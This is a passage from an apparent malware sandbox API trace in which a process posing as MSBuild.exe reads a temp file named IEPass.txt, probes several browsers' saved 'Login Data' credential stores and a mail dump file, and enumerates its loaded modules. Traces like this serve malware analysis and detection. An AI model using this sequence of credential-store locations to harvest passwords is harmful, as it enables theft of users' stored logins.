[455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0056.181] ResumeThread (hThread=0x4e4) returned 0x1 [0056.212] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e584, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0056.212] GetLastError () returned 0x2 [0056.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", nBufferLength=0x105, lpBuffer=0x26e5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", lpFilePart=0x0) returned 0x3b [0056.212] GetLastError () returned 0x2 [0056.213] SetErrorMode (uMode=0x1) returned 0x0 [0056.213] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iepass.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea2c | out: lpFileInformation=0x26ea2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0056.213] GetLastError () returned 0x2 [0056.213] SetErrorMode (uMode=0x0) returned 0x1 [0057.218] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0057.219] GetLastError () returned 0x2 [0057.219] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e584, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0057.219] GetLastError () returned 0x2 [0057.219] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", nBufferLength=0x105, lpBuffer=0x26e5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", lpFilePart=0x0) returned 0x3b [0057.219] GetLastError () returned 0x2 [0057.219] SetErrorMode (uMode=0x1) returned 0x0 [0057.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iepass.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea2c | out: lpFileInformation=0x26ea2c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed259590, ftCreationTime.dwHighDateTime=0x1d54023, ftLastAccessTime.dwLowDateTime=0xed259590, ftLastAccessTime.dwHighDateTime=0x1d54023, ftLastWriteTime.dwLowDateTime=0xed27f6f0, ftLastWriteTime.dwHighDateTime=0x1d54023, nFileSizeHigh=0x0, nFileSizeLow=0x185)) returned 1 [0057.220] GetLastError () returned 0x2 [0057.220] SetErrorMode (uMode=0x0) returned 0x1 [0057.220] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e434, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0057.220] GetLastError () returned 0x2 [0057.220] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", nBufferLength=0x105, lpBuffer=0x26e45c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", lpFilePart=0x0) returned 0x3b [0057.220] GetLastError () returned 0x2 [0057.220] SetErrorMode (uMode=0x1) returned 0x0 [0057.220] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iepass.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x514 [0057.220] GetLastError () returned 0x0 [0057.220] GetFileType (hFile=0x514) returned 0x1 [0057.221] GetFileType (hFile=0x514) returned 0x1 [0057.221] ReadFile (in: hFile=0x514, lpBuffer=0x2736bdc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2736bdc*, lpNumberOfBytesRead=0x26e9c4*=0x185, lpOverlapped=0x0) returned 1 [0057.221] GetLastError () returned 0x0 [0057.221] ReadFile (in: hFile=0x514, lpBuffer=0x2736bdc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2736bdc*, lpNumberOfBytesRead=0x26e9c4*=0x0, lpOverlapped=0x0) returned 1 [0057.221] GetLastError () returned 0x0 [0057.221] CloseHandle (hObject=0x514) returned 1 [0057.221] GetLastError () returned 0x0 [0057.253] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini", nBufferLength=0x105, lpBuffer=0x26e448, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini", lpFilePart=0x0) returned 0x4c [0057.253] GetLastError () returned 0x0 [0057.254] SetErrorMode (uMode=0x1) returned 0x0 [0057.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\seamonkey\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0057.254] GetLastError () returned 0x3 [0057.257] SetErrorMode (uMode=0x0) returned 0x1 [0057.274] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x787820 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0057.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x26e550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0057.274] GetLastError () returned 0x3f0 [0057.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x56 [0057.275] GetLastError () returned 0x3f0 [0057.275] SetErrorMode (uMode=0x1) returned 0x0 [0057.275] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\comodo\\dragon\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x26e9f8 | out: lpFileInformation=0x26e9f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0057.275] GetLastError () returned 0x3 [0057.275] SetErrorMode (uMode=0x0) returned 0x1 [0057.281] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x787820 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0057.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x26e550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0057.281] GetLastError () returned 0x3f0 [0057.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x5f [0057.281] GetLastError () returned 0x3f0 [0057.281] SetErrorMode (uMode=0x1) returned 0x0 [0057.281] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\maplestudio\\chromeplus\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x26e9f8 | out: lpFileInformation=0x26e9f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0057.281] GetLastError () returned 0x3 [0057.282] SetErrorMode (uMode=0x0) returned 0x1 [0057.283] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x787820 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0057.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x26e550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0057.283] GetLastError () returned 0x3f0 [0057.283] GetFullPathNameW (in: lpFileName="\\Chromium\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e578, lpFilePart=0x0 | out: lpBuffer="C:\\Chromium\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x28 [0057.283] GetLastError () returned 0x3f0 [0057.283] SetErrorMode (uMode=0x1) returned 0x0 [0057.283] GetFileAttributesExW (in: lpFileName="C:\\Chromium\\User Data\\Default\\Login Data" (normalized: "c:\\chromium\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x26e9f8 | out: lpFileInformation=0x26e9f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0057.284] GetLastError () returned 0x3 [0057.284] SetErrorMode (uMode=0x0) returned 0x1 [0057.297] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0057.297] GetLastError () returned 0x3 [0057.297] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e5ac, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0057.297] GetLastError () returned 0x3 [0057.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0057.298] GetLastError () returned 0x3 [0057.298] SetErrorMode (uMode=0x1) returned 0x0 [0057.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea54 | out: lpFileInformation=0x26ea54*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0057.298] GetLastError () returned 0x2 [0057.298] SetErrorMode (uMode=0x0) returned 0x1 [0057.298] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Windows") returned 0xa [0057.298] GetLastError () returned 0x2 [0057.298] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0057.298] GetLastError () returned 0x2 [0057.298] GetCurrentProcessId () returned 0xb18 [0057.298] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb18) returned 0x514 [0057.298] GetLastError () returned 0x2 [0057.298] EnumProcessModules (in: hProcess=0x514, lphModule=0x274558c, cb=0x100, lpcbNeeded=0x26e998 | out: lphModule=0x274558c, lpcbNeeded=0x26e998) returned 1 [0057.299] GetLastError () returned 0x2 [0057.299] EnumProcessModules (in: hProcess=0x514, lphModule=0x2745698, cb=0x200, lpcbNeeded=0x26e998 | out: lphModule=0x2745698, lpcbNeeded=0x26e998) returned 1 [0057.301] GetLastError () returned 0x2 [0057.301] GetModuleInformation (in: hProcess=0x514, hModule=0x400000, lpmodinfo=0x27458d8, cb=0xc | out: lpmodinfo=0x27458d8*(lpBaseOfDll=0x400000, SizeOfImage=0x58000, EntryPoint=0x45224e)) returned 1 [0057.301] GetLastError () returned 0x2 [0057.301] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x400000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSBuild.exe") returned 0xb [0057.301] GetLastError () returned 0x2 [0057.301] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x400000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe")) returned 0x39 [0057.301] GetLastError () returned 0x2 [0057.301] GetModuleInformation (in: hProcess=0x514, hModule=0x77130000, lpmodinfo=0x2746a28, cb=0xc | out: lpmodinfo=0x2746a28*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0057.301] GetLastError () returned 0x2 [0057.302] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x77130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0057.302] GetLastError () returned 0x2 [0057.302] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x77130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0057.302] GetLastError () returned 0x2 [0057.302] GetModuleInformation (in: hProcess=0x514, hModule=0x74b20000, lpmodinfo=0x2747b1c, cb=0xc | out: lpmodinfo=0x2747b1c*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0057.302] GetLastError () returned 0x2 [0057.302] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0057.302] GetLastError () returned 0x2 [0057.303] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0057.303] GetLastError () returned 0x2 [0057.303] GetModuleInformation (in: hProcess=0x514, hModule=0x76c20000, lpmodinfo=0x2748c18, cb=0xc | out: lpmodinfo=0x2748c18*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0057.303] GetLastError () returned 0x2 [0057.303] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x76c20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0057.303] GetLastError () returned 0x2 [0057.303] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x76c20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0057.304] GetLastError () returned 0x2 [0057.304] GetModuleInformation (in: hProcess=0x514, hModule=0x75960000, lpmodinfo=0x2749d1c, cb=0xc | out: lpmodinfo=0x2749d1c*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0057.304] GetLastError () returned 0x2 [0057.304] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0057.304] GetLastError () returned 0x2 [0057.304] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0057.304] GetLastError () returned 0x2 [0057.304] GetModuleInformation (in: hProcess=0x514, hModule=0x74d40000, lpmodinfo=0x274ae58, cb=0xc | out: lpmodinfo=0x274ae58*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0057.305] GetLastError () returned 0x2 [0057.305] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74d40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0057.305] GetLastError () returned 0x2 [0057.305] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74d40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0057.305] GetLastError () returned 0x2 [0057.305] GetModuleInformation (in: hProcess=0x514, hModule=0x74e10000, lpmodinfo=0x274bf5c, cb=0xc | out: lpmodinfo=0x274bf5c*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0057.306] GetLastError () returned 0x2 [0057.306] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74e10000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0057.306] GetLastError () returned 0x2 [0057.306] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74e10000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0057.306] GetLastError () returned 0x2 [0057.306] GetModuleInformation (in: hProcess=0x514, hModule=0x75740000, lpmodinfo=0x274d058, cb=0xc | out: lpmodinfo=0x274d058*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0057.307] GetLastError () returned 0x2 [0057.307] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75740000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0057.307] GetLastError () returned 0x2 [0057.307] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75740000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0057.307] GetLastError () returned 0x2 [0057.307] GetModuleInformation (in: hProcess=0x514, hModule=0x75ee0000, lpmodinfo=0x274e154, cb=0xc | out: lpmodinfo=0x274e154*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0057.307] GetLastError () returned 0x2 [0057.308] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75ee0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0057.308] GetLastError () returned 0x2 [0057.308] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75ee0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0057.308] GetLastError () returned 0x2 [0057.308] GetModuleInformation (in: hProcess=0x514, hModule=0x74c90000, lpmodinfo=0x274f2a0, cb=0xc | out: lpmodinfo=0x274f2a0*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0057.309] GetLastError () returned 0x2 [0057.309] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74c90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0057.309] GetLastError () returned 0x2 [0057.309] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74c90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0057.309] GetLastError () returned 0x2 [0057.309] GetModuleInformation (in: hProcess=0x514, hModule=0x74c80000, lpmodinfo=0x275039c, cb=0xc | out: lpmodinfo=0x275039c*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0057.310] GetLastError () returned 0x2 [0057.310] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74c80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0057.310] GetLastError () returned 0x2 [0057.310] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74c80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0057.310] GetLastError () returned 0x2 [0057.310] GetModuleInformation (in: hProcess=0x514, hModule=0x74aa0000, lpmodinfo=0x27514a0, cb=0xc | out: lpmodinfo=0x27514a0*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0057.311] GetLastError () returned 0x2 [0057.311] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74aa0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0057.311] GetLastError () returned 0x2 [0057.311] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74aa0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0057.311] GetLastError () returned 0x2 [0057.312] GetModuleInformation (in: hProcess=0x514, hModule=0x75340000, lpmodinfo=0x27525d8, cb=0xc | out: lpmodinfo=0x27525d8*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0057.312] GetLastError () returned 0x2 [0057.312] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75340000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0057.312] GetLastError () returned 0x2 [0057.313] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75340000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0057.313] GetLastError () returned 0x2 [0057.313] GetModuleInformation (in: hProcess=0x514, hModule=0x75ad0000, lpmodinfo=0x27536d4, cb=0xc | out: lpmodinfo=0x27536d4*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0057.313] GetLastError () returned 0x2 [0057.313] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75ad0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0057.314] GetLastError () returned 0x2 [0057.314] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75ad0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0057.314] GetLastError () returned 0x2 [0057.314] GetModuleInformation (in: hProcess=0x514, hModule=0x74f40000, lpmodinfo=0x27547c8, cb=0xc | out: lpmodinfo=0x27547c8*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0057.315] GetLastError () returned 0x2 [0057.315] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74f40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0057.315] GetLastError () returned 0x2 [0057.315] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74f40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0057.315] GetLastError () returned 0x2 [0057.315] GetModuleInformation (in: hProcess=0x514, hModule=0x75130000, lpmodinfo=0x27558c4, cb=0xc | out: lpmodinfo=0x27558c4*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0057.316] GetLastError () returned 0x2 [0057.316] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0057.316] GetLastError () returned 0x2 [0057.316] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0057.317] GetLastError () returned 0x2 [0057.317] GetModuleInformation (in: hProcess=0x514, hModule=0x75090000, lpmodinfo=0x27569b0, cb=0xc | out: lpmodinfo=0x27569b0*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0057.317] GetLastError () returned 0x2 [0057.317] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75090000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0057.318] GetLastError () returned 0x2 [0057.318] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75090000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0057.318] GetLastError () returned 0x2 [0057.318] GetModuleInformation (in: hProcess=0x514, hModule=0x75b60000, lpmodinfo=0x2757b34, cb=0xc | out: lpmodinfo=0x2757b34*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0057.318] GetLastError () returned 0x2 [0057.319] GetModuleBaseNameW (in: hProcess=0x514, 